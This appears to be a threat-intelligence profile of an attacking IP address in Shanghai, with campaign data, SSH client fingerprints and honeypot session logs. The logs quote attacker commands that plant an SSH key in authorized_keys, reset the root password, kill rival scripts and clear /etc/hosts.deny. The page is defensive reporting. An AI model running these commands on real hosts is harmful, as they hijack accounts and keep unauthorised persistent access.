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118.25.137.28
Location
🇨🇳 CN / Shanghai
ASN
AS45090 · Shenzhen Tencent Computer Systems Company Limited
Cloud Provider
—
Total Events
195
Above average by volume
Agent Count
1
First / Last Seen
2026-06-01 13:33 — 2026-06-01 14:08
Attack Types
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Command and Control
External Corroboration
Not flagged by any external feeds
Campaigns
AS45090 Shenzhen Tencent Computer Systems Company Limited
ASN
Active
medium
🇨🇳 CN
40 IPs
820 events
ftp:bruteforcehttp:scanssh:bruteforce
2026-03-06 — ongoing · 40 IPs from the same network (Shenzhen Tencent Computer Systems Company Limited, AS45090) were active during overlapping time …
HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (926 IPs, 86 countries)
HASSH
Active
high
🇨🇳 CN
926 IPs
391779 events
http:scanssh:bruteforce
2026-02-25 — ongoing · 926 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: UCLOUD INFORMATION TECHNOLOGY HK LIMITED …
Session Forensics
Sessions
15 (7 with login)
Avg Depth Score
0.41
Commands Executed
46
Files Downloaded
4
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
- cat /proc/cpuinfo | grep name | wc -l
- echo "root:jRP4XfGIdGQO"|chpasswd|bash
- rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
- cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
- free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
- ls -lh $(which ls)
- which ls
- echo "root:57JSXIs9C24P"|chpasswd|bash
Fingerprints
HASSH
SSH Client
Evidence Timeline
Scanner
9b6cb51c4309
15%
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SSH-2.0-libssh_0.9.6
Reconnaissance
e57ce75ef1a4
LOGIN
2
1
60%
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Malware Dropper
6fe34e7a4ddf
LOGIN
20
2
1
100%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:jRP4XfGIdGQO"|chpasswd|bash
Reconnaissance
84e0735b1d82
LOGIN
2
1
60%
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Opportunistic Bruter
c968dd750828
LOGIN
1
50%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Opportunistic Bruter
26640947c847
LOGIN
1
50%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Reconnaissance
7e9daad5abf6
LOGIN
2
1
60%
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Malware Dropper
3aaa36c5c31b
LOGIN
20
2
1
100%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:57JSXIs9C24P"|chpasswd|bash